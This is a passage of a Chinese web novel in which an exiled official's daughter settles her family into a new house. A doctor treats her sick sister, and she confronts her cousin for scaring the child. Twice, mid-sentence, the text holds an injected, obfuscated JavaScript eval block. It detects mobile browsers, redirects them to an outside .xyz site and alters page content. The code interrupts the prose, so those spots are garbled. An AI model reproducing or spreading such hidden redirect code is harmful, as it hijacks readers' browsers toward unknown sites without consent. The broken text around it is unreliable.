《从罪臣之女到一代大儒》 3. 乔迁 死寂并未持续太久。 第二天一大早,屯所的寂静就被马蹄声打破。 十几个穿着半旧皮甲、挎着腰刀的兵卒,簇拥着一个满脸横肉的小头目,径直闯到了袁家破败的土屋前。文柏一打开门,就被马蹄踏起的尘土扑了一脸。 “袁家的!袁家人在不在?”那小头目声音洪亮又热情,与往日的冷漠截然不同。 袁文柏警惕地挡在门口,秋月站在一旁吓得瑟瑟发抖。 袁微识深吸一口气,整理了一下衣襟,平静地走了出去:“军爷有何贵干?” 那小头目一见袁微识,眼睛顿时一亮,脸上的横肉都挤出了几分笑模样,腰也弯了几分:“哎哟!袁大小姐!小的姓王,是守备大人麾下的什长!就管咱们这块!奉大人之命,特来给大小姐搬家!” 他大手一挥,指向身后几辆骡车,“守备大人吩咐了,让给袁家寻个敞亮暖和的好住处!就在屯所西头,砖瓦房!离镇上可近呢!快快快,你们,手脚麻利点!帮老夫人、小姐少爷们把东西都搬上车!仔细着点,别碰坏了!” 他话音刚落,那些兵卒立刻涌了上来,完全无视了袁文柏的阻拦,七手八脚地就开始搬屋里的东西——其实也没什么好搬的,无非是几床硬邦邦的破被褥,几个豁口的粗瓷碗破水壶,两三个包裹。 袁家人被簇拥着推上了骡车,毫无办法。 袁见澜则躲在门后,看着那些兵卒搬动她们仅有的家当,又看看被众星捧月般围着的袁微识,手指绞着衣角,阴沉着脸不知在琢磨什么。 大部分家什都被嫌弃地丢在了原地,能用的也都被搬上了骡车。王什长满脸堆笑,亲自上前,对袁微识做了个“请”的手势:“袁大小姐,您请上车!老夫人,您慢点!小的扶着您!”那姿态,与几天前的嘴脸判若云泥。 骡车吱吱呀呀地碾过冻土,驶离了这个小小的屋子。张大郎的父亲缩在门后不敢出来,他大概已经知道了张大郎被赶走的消息,不知道会不会去寻他。 袁微识无心去想张大郎的事,她坐在颠簸的车板上,看着身后那间迅速缩小的破土屋,心中一片冰凉。这搬家的排场,与其说是帮忙,不如说是徐乱在向所有人宣告他的所有权——袁微识,是他徐乱的人,袁家,现在由徐乱罩着。 新家果然在屯所西头,比起原先的破土屋,简直是天壤之别。虽然依旧是泥土夯实的院墙,但正屋是几间结实的砖瓦房,屋顶盖着厚厚的茅草,窗户虽然糊的是麻纸,但看着就比原先的破洞结实挡风。屋里居然盘了两个土炕,已经烧好了火,一进门一股热气袭来,让人毛孔都舒展开来。 炕上铺着几张看起来还算厚实、且浆洗过的旧被褥,虽然布料粗糙,但比起她们之前的破棉絮,已是天上地下。厢房角落里,还堆放着几袋粮食、木柴灶具,样样齐全。 王什长指挥着兵卒把袁家那点可怜的行李搬进来,堆在墙角,又指着粮食木炭谄笑道:“大小姐,老夫人,这些都是守备大人吩咐备下的!这屋子也派人连夜拾掇过了,保准比您原先那地方暖和!大人说了,让您几位先安心住下,缺什么少什么,只管跟小的说!” 什长嘿嘿笑着,搓着手,竟然有些不好意思。 “咱们屯毕竟偏,条件有限,老夫人且将就住着,待到……嘿嘿,待到那时,自然有条件更好的房子住。” 袁微识耳朵有些发热,她知道,这个“那时”,自然就是三日后的迎亲。 王什长又凑近袁微识,压低声音道:“大人还吩咐了,给小小姐请大夫!城里最好的张大夫,一会儿就到!您放心!” 袁微识心头猛地一跳,面上却依旧平静如水,只微微颔首:“有劳王什长费心,替我多谢守备大人。” “不敢当不敢当!这都是小的分内事!”王什长连连摆手,又招呼手下,“都机灵点!别杵这儿碍眼了!走!”一群兵卒呼啦啦地退了出去,院子里终于恢复了安静。 屋里再次只剩下袁家人。文柏脸上自始至终带着屈辱和反抗,他几次看向长姐,想说什么,又硬生生憋回去。袁微识看着小小少年满脸的别扭,心里好笑。 见澜却沉默许多,早早扶着老夫人坐在炕上,又和秋月一起烧热水。 这时,院门被敲响了。秋月战战兢兢地去开门,只见门外站着一个身着半旧棉袍、须发花白的老者,身后还跟着一个提着药箱的小童。 “老朽姓张,受守备徐大人之托,前来为府上小姐诊病。”老者声音平和,让人闻之心安。 袁微识心知张大夫必是军营的大夫,立即请他入座。 “有劳张大夫,小妹病重,烦请您费心。” 张大夫扫过这一屋子老弱妇孺,在袁微识憔悴却更显清丽的脸上停留了一瞬,微微颔首:“袁大小姐不必多礼,此乃医者本分。”他不再多言,径直走向炕边,给昭明把脉。 片刻后,张大夫收回了手。他看了看袁微澜烧得通红的小脸和干裂的嘴唇,又翻开看她的眼皮。 “大夫,我这孙女她……”袁老夫人颤巍巍地开口问。 张大夫轻轻叹了口气:“风寒入肺,郁而化热,加之体虚气弱,心神失养,已是颇为凶险。若再耽搁一两日……”后面的话他没说,但意思不言而喻。袁老夫人身体一晃,差点晕厥过去,被秋月死死扶住。 袁微识的心猛地一沉。 “不过,”张大夫话锋一转,“幸好尚未至绝境。老朽开个方子,清热化痰,宣肺平喘,固本培元。药需按时服用,细心照料,退热后仍需静养一段时日,切忌再受风寒。”他一边说,一边示意小童打开药箱,取出纸笔,开始写方子。 张大夫将写好的药方递给袁微识:“按此方抓药,三碗水煎成一碗,早晚各服一次。药引老姜三片,红枣两枚。这里有几粒应急的丸药,若夜间高热惊厥,可化水灌服一粒。”他又从药箱里拿出一个青色的小瓷瓶。 袁微识心头一松,差点落下泪来。昭明是母亲拼了命生下来的孩子,若是出了事,以后叫她怎么有脸去见母亲? 她抓住药方,哽咽道:“多谢张大夫救命之恩!大恩大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939220|177271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德,没齿难忘!” 张大夫捋着胡须摆摆手,“倒是不必谢我。送人送到西,这几服药我给你抓来,速速让病人服下,不可再耽搁了。”说完就要离开。 袁微识连忙送到门口。她心念一动,又问:“敢问张大夫住在哪里?我小妹若是有反复,还得再请大夫看才是。” 张大夫捋着胡须呵呵笑,“吃完这几服药,三日后若是还未好转,你自让徐乱去抓我!” 袁微识一怔,才知张大夫和徐乱关系如此亲密。 昭明的病一直让大家吊着心,一直到晚饭时刻,她终于退了烧,清醒过来,又喝了一些米粥。眼见着人精神了许多。这让紧绷了许久的袁家人都松了一口气。 这一日,徐乱那边没有任何动静,仿佛遗忘了她们。但王什长倒是又来了两次,一次是送来了半扇风干的羊肉和一小袋白米,说是守备大人吩咐给病人补身子的;另一次是带着两个粗使婆子,送来了几套厚实棉衣,说是给老夫人和小姐们御寒。 昭明虽小,却聪明敏感,她好像预感到袁微识要离开袁家,自从清醒后就一直紧紧抓着她不放手。 “姐姐,姐姐不要昭明了吗?我梦见你走了,不要昭明了!” 袁微识心里针扎一样,也只能一遍遍安慰小妹,哄她睡下。 “傻昭明,姐姐怎么会不要你?姐姐就在这儿,哪儿也不去。你看,你的病快好了,姐姐高兴还来不及呢。” “可是…”袁昭明大眼睛里蓄满了泪水,“二姐姐说,有个很凶很凶的大胡子叔叔会把姐姐抢走!昭明很乖,不要姐姐走!”她说着,又咳嗽起来。 袁微识轻轻拍着妹妹的背:“昭明不怕。姐姐不会离开你们的。那个……大胡子叔叔,”她顿了一下,艰难地吐出这个称呼,“他只是……只是帮我们找了暖和的地方住,请了大夫给昭明看病。你看,昭明现在是不是好多了?” 昭明似懂非懂地点点头,小手依旧紧紧抓着袁微识的衣角,仿佛一松手姐姐就会消失。 安抚好小妹再次睡下,袁微识走到外间。袁老夫人不知何时已经坐了起来,正对着油灯发呆。 “祖母。”袁微识轻轻唤了一声。 袁老夫人没有回头,过了许久,她才开口,“大丫头……委屈你了。” 袁微识垂下眼帘,掩去眸底翻涌的情绪:“能活着,能看着昭明好起来,看着祖母和弟妹都在,就不算委屈。” “你本来,本来应该有个好姻缘的。”老夫人幽幽叹了一口气。 “大丫头,别的我不多说,你可想好以后?” 老夫人捻着佛珠,担忧地看着袁微识。 “你本是金陵有名的才女,求亲的人把门槛都踏破了,你爹都不愿意把你嫁出去。金陵女儿多才俊,一见微识尽低眉。”回忆起往昔,老夫人脸上带出一丝惆怅的微笑。 “你既许了他,以后想离开便难了。他有没有妾室,待人如何,家中高堂什么性子?最重要的,你和一个武人,可能谈天说地?这过日子,总得有日子过。” 4.怀柔 “袁家是不是能平反且不论,大丫头,我现在只担心你呀!” 经过了一日的修养,老夫人已经恢复了平日的镇定,除却眉目间的愁容,看起来与平日并无二致。 袁微识抿了抿嘴唇,目光扫过炕头另一边的文柏,和接收到她眼光立即闭眼假寐的见澜。 文柏尚小,见澜有些小心思,她不愿在他们二人面前多吐露自己的打算,只朝老夫人微笑。 “祖母,有什么事,明日再说吧。累了这许多日,大家也都好好休息,明日还有许多事要做。” 老夫人目光一闪,颔首赞同:"你说的也对,明日,确实有很多事要做。" ** 翌日,袁家果然忙的像陀螺一般。 这间院子虽然可能只是袁家的暂住地,但是袁微识希望依旧希望他们能住的舒服一点。 这里坐落在卫所东头,后面正对通往营地的小路,左前方却是镇子的边缘。院子虽然不大,里面却有一口井,井深不见底,水清质甘。徐乱可能只是随口下了个命令,下面的千户百户却用足了心思。 袁微识心里承情,手下也不闲着,安排秋月见澜擦洗新家。虽然家具简陋,只有炕桌、几个木凳和一个旧柜子,但胜在干净。王百户送来的厚实被褥铺在炕上,总算有了点“家”的样子。文柏虽然还小,也要担起责任来。她带着着弱小的文柏劈柴、烧炕,确保祖母和小妹昭明的炕头始终暖着。 简单活计还有人干,做饭这件事却让他们很为难。概因北地寒冷,肉大多风干偏柴,这对于来自金陵城的袁家人来说,处理起来很有些费劲。 袁微识擦了擦额头的汗,把费了半天劲才勉强片好的风干肉下在砂锅里。她舒了口气,又抽出两根柴控制火候,才端起放凉的药走向内室。 昭明的病情在袁微识心里是重中之重。七八岁的年纪却吃了这许多苦,一想起母亲,她心里沉甸甸的。 幸好张大夫的药有奇效,加上这温暖的环境和袁微识精心熬煮的米粥、肉糜,昭明终于不再发热了。虽然她小脸依旧苍白,精神也蔫蔫的,但乌溜溜的大眼睛重新有了神采,可以抓着袁微识的手指,软软地叫姐姐了。 “姐姐在呢,”袁微识连忙换上笑脸,看着妹妹小口小口喝下加了红枣的药汤,柔声道:“昭明真乖,把药喝了,快快好起来。” 昭明皱着眉头喝完药,往袁微识怀里缩了缩,小声问:“姐姐,我又梦见大胡子叔叔了……他对你好凶,我在旁边使劲叫你,你回头就走了,看也不看我一眼。姐姐,你不会扔下我吧?” 又是这种梦!这已经是这一天一夜里第三次了!每次昭明喝了药好不容易安稳睡下,不久后就会惊醒,啜泣着说类似的话。 袁微识动作微顿,轻轻拍着妹妹的背,声音平稳:“我不会离开的,他也不会凶昭明的。这些药就是他送来的,他对昭明挺好的,对不对?”昭明似懂非懂地点点头,依赖地蹭了蹭姐姐,又问:“姐姐,那我们什么时候回金陵呢?我想章家姐姐了,她上次还答应我,要带我去簪花呢。” 回金陵啊……谁不想回去呢?小昭明尚不知此路艰辛,还以为长姐顷刻间就能解决她所有的问题。 袁微识无奈,只好抱着她哄了又哄。昭明睡下后,袁微识目光微沉。 小小的昭明一直在生病,大胡子叔叔这些话是谁告诉她的,到底是谁镇日在她耳边吓唬她?袁微识的目光在院子里逡巡。 那必定是…… 流放这么多日以来,袁微识难得踌躇。 同是深宅女儿,平日偶尔有些摩擦倒也罢了,不痛不痒。但是现在情况却大不相同,袁家自己人所剩无几,若是再不能扭成一股绳,那必然会被吃的骨头都不剩。 若是不提,便是给袁家埋下一个雷。而老夫人羸弱,唯一能镇住她的人只有自己,自己却马上要出门子了! 若是提了,却总有嫌隙。她本来就因为二婶的事情,对自己一向愤懑,现在这情绪只怕更深了。 昭明病弱,需要静养;文柏年幼,遇事冲动。 家宅不宁,是袁家目前最不能承受的。徐乱能提供庇护,却未必愿意袁家人在后面使绊子。一旦闹得人尽皆知,丢的是袁家不多的脸面,败的是袁家仅剩的希望。 袁微识端着空碗起身走到门口,顿了顿,站在阴影里。 自己即将嫁给徐乱,以后三五日能来一趟就已经算是奢侈了,端看徐乱这个人好不好相与。昨日祖母提醒的没错,她们若要有什么想法,必须提前准备起来了! 而徐家是什么龙潭虎穴,她一无所知。她需要后方安稳,需要祖母和弟妹们在她暂时无法分心时能互相扶持,而不是后院起火。 见澜已经擦洗完毕,现正坐在灶台边,有一搭没一搭地戳灶里的木柴。 袁微识深吸一口气,端着空药碗走向厨房。 她将药碗洗净放好,又仔细查看了灶膛里的火,确保暖炕的热度足够。做完这一切,她轻轻坐在见澜旁边。 见澜动作微不可查地顿了一下,却没有抬头。 厨房里,灶膛里的火苗舔舐着锅底,发出细微的噼啪声。 袁微识没有立刻说话。她先将温水递给见澜,“天冷,喝口热水暖暖。” 见澜瑟缩一下,沉默接过水。火光在二人脸上跳跃。 沉默在狭小的空间里蔓延,只有昭明偶尔的呓语和窗外风沙的呜咽。 袁微识终于开口,清晰地传入袁见澜耳中:“昭明虽然不发烧了,夜里总惊悸,睡不安稳,这药效也就大打折扣。现在好歹有了些皮毛,明日我带文柏拿到镇上换钱,去买些日用品回来。再买些生姜大枣,我们一路辛苦,好的东西一时半会儿的不可得,这些还是用得上的。还要多认识邻居,再去和百户打个招呼……” 她絮絮叨叨,见澜提着的心也逐渐放了下来。 袁微识突然顿了顿,目光落在袁见澜低垂的脸上,“我方才哄昭明时,她说是二姐告诉她,徐守备明日要抢走我,再也不回来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945656|177271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>袁微识笑了笑,“二妹,小妹生病,你很开心吗?” 袁见澜的身体猛地一颤,她抬起头,语无伦次:“我……我没有!是她……是她自己做梦……” “见澜,”袁微识轻轻打断她,“昭明才六岁。她分不清噩梦和真话。在病中,她信任依赖的姐姐在她耳边说的话,她会当成真的。休息不好,是会要人命的。” 袁见澜的脸色变了几变,尖着嗓子怼回去:“那又怎样?我说的是实话!你后天不是就要嫁给他了吗?离开这个家,去过你的好日子了!” “好日子?”袁微识轻轻重复了一遍,勾起嘴角。 “见澜,你觉得嫁给一个素不相识、传闻中凶神恶煞的边疆武夫,去做一个自身难保的守备夫人,是什么好日子吗?” “那总比我们强吧!是,你美姿容好才学人见人爱,处处都比别人强,就连流放都比别人抢先一步找到夫婿!你总想着处处压我一头!怎么,我说的不对吗?” “我是为了荣华富贵吗?” 袁微识深吸一口气:“我是为了什么,你真的一点都不明白吗?” 袁见澜一时语塞。 袁微识冷静一下,换上艾艾的表情。 “见澜,我们姓袁,我们是一家人。父亲和二叔还在京城的大牢里,祖母年迈,昭明年幼体弱,文柏还是个半大孩子。我们朝不保夕,只剩下彼此了。” 她伸出手,轻轻覆上袁见澜冰凉僵硬的手背。袁见澜下意识地想抽回,却被微微用力按住。 “我知道,你心里怨。二婶路上不知所踪,你害怕。你觉得这一切都是因为我爹,连累了二叔连累了你。你怨我,我能理解。”袁微识紧紧抓住她,“可是见澜,把怨气撒在病弱的昭明身上,有用吗?吓坏了她,让她病情加重,甚至……甚至有个闪失,除了让我们这个本就摇摇欲坠的家彻底崩塌,让仇者快,亲者痛,还能得到什么?” 袁见澜眼圈慢慢红了,却仍然倔强地抬起下巴。 “二妹,你信我。我从来没想过抛下袁家任何一个人去享受荣华富贵。你想回金陵吗?” 袁微识伸手擦去见澜眼角的泪水,恳切问她。 “我们总有一日要回金陵的!我们袁家子女,各有各的任务。我去给家里铺路,护送他们回金陵的任务,就交给你了!” 见澜心里一动,抬头看她。 袁微识却微笑着收回手,坐直身体,语气变得郑重:“见澜,我需要你。祖母需要你,昭明需要你,文柏也需要你。这个家,不能散。我嫁过去后,不能时时看顾家里。祖母的汤药,昭明的看护,文柏的教育,还有这屋里的琐碎事务……都需要一个细心可靠的人操持。秋月一个人忙不过来。” “你心思细,针线好,照顾人也比我周到。这个担子,我只能托付给你。只有你在后方把家稳住了,我在前面……才能安心。” 她说着,伸手揽过见澜,“算长姐求你,帮帮我好吗?” 见澜怔了一怔,终于还是忍不住哭了起来。